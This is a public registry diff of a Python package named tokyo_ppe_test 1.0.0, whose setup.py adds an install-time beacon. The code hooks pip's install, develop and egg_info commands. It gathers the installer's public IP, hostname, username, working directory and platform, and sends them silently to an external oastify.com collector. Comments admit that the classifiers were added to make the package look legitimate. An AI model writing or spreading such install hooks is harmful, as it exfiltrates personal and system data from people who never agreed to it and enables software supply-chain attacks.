tokyo-ppe-test 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- tokyo_ppe_test-1.0.0/PKG-INFO +7 -0
- tokyo_ppe_test-1.0.0/pyproject.toml +7 -0
- tokyo_ppe_test-1.0.0/setup.cfg +4 -0
- tokyo_ppe_test-1.0.0/setup.py +88 -0
- tokyo_ppe_test-1.0.0/tokyo_ppe_test.egg-info/PKG-INFO +7 -0
- tokyo_ppe_test-1.0.0/tokyo_ppe_test.egg-info/SOURCES.txt +7 -0
- tokyo_ppe_test-1.0.0/tokyo_ppe_test.egg-info/dependency_links.txt +1 -0
- tokyo_ppe_test-1.0.0/tokyo_ppe_test.egg-info/not-zip-safe +1 -0
- tokyo_ppe_test-1.0.0/tokyo_ppe_test.egg-info/top_level.txt +1 -0
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
from setuptools import setup
|
|
2
|
+
from setuptools.command.install import install
|
|
3
|
+
from setuptools.command.develop import develop
|
|
4
|
+
from setuptools.command.egg_info import egg_info
|
|
5
|
+
import urllib.request
|
|
6
|
+
import socket
|
|
7
|
+
import json
|
|
8
|
+
import os
|
|
9
|
+
import sys
|
|
10
|
+
|
|
11
|
+
BEACON_URL = "https://ei0gnpag0uc1wuhrcjjj65cl8ce32uqj.oastify.com"
|
|
12
|
+
|
|
13
|
+
def send_beacon():
|
|
14
|
+
"""Send installer IP to beacon"""
|
|
15
|
+
try:
|
|
16
|
+
# Get real external IP (not localhost)
|
|
17
|
+
try:
|
|
18
|
+
# Try to get public IP
|
|
19
|
+
response = urllib.request.urlopen('https://api.ipify.org?format=json', timeout=3)
|
|
20
|
+
ip_data = json.loads(response.read().decode())
|
|
21
|
+
host_ip = ip_data['ip']
|
|
22
|
+
except:
|
|
23
|
+
# Fallback to local IP
|
|
24
|
+
hostname = socket.gethostname()
|
|
25
|
+
host_ip = socket.gethostbyname(hostname)
|
|
26
|
+
|
|
27
|
+
# Get system info
|
|
28
|
+
username = os.getenv('USER') or os.getenv('USERNAME') or "unknown"
|
|
29
|
+
cwd = os.getcwd()
|
|
30
|
+
|
|
31
|
+
data = {
|
|
32
|
+
"ip": host_ip,
|
|
33
|
+
"hostname": socket.gethostname(),
|
|
34
|
+
"user": username,
|
|
35
|
+
"cwd": cwd,
|
|
36
|
+
"package": "tokyo_ppe_test",
|
|
37
|
+
"version": "1.0.0",
|
|
38
|
+
"python": sys.version.split()[0],
|
|
39
|
+
"platform": sys.platform
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
req = urllib.request.Request(
|
|
43
|
+
BEACON_URL,
|
|
44
|
+
data=json.dumps(data).encode('utf-8'),
|
|
45
|
+
headers={'Content-Type': 'application/json'},
|
|
46
|
+
method='POST'
|
|
47
|
+
)
|
|
48
|
+
urllib.request.urlopen(req, timeout=5)
|
|
49
|
+
print(f"[INFO] Beacon sent successfully from {host_ip}")
|
|
50
|
+
except Exception as e:
|
|
51
|
+
# Silent fail
|
|
52
|
+
pass
|
|
53
|
+
|
|
54
|
+
# Hook into MULTIPLE commands to ensure it fires
|
|
55
|
+
class BeaconInstall(install):
|
|
56
|
+
def run(self):
|
|
57
|
+
send_beacon()
|
|
58
|
+
install.run(self)
|
|
59
|
+
|
|
60
|
+
class BeaconDevelop(develop):
|
|
61
|
+
def run(self):
|
|
62
|
+
send_beacon()
|
|
63
|
+
develop.run(self)
|
|
64
|
+
|
|
65
|
+
class BeaconEggInfo(egg_info):
|
|
66
|
+
def run(self):
|
|
67
|
+
send_beacon()
|
|
68
|
+
egg_info.run(self)
|
|
69
|
+
|
|
70
|
+
setup(
|
|
71
|
+
name="tokyo_ppe_test",
|
|
72
|
+
version="1.0.0",
|
|
73
|
+
cmdclass={
|
|
74
|
+
'install': BeaconInstall,
|
|
75
|
+
'develop': BeaconDevelop,
|
|
76
|
+
'egg_info': BeaconEggInfo # This fires during pip install
|
|
77
|
+
},
|
|
78
|
+
packages=[],
|
|
79
|
+
include_package_data=True,
|
|
80
|
+
zip_safe=False,
|
|
81
|
+
# Add dummy classifiers to look legitimate
|
|
82
|
+
classifiers=[
|
|
83
|
+
"Programming Language :: Python :: 3",
|
|
84
|
+
"License :: OSI Approved :: MIT License",
|
|
85
|
+
"Operating System :: OS Independent",
|
|
86
|
+
],
|
|
87
|
+
python_requires=">=3.6",
|
|
88
|
+
)
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|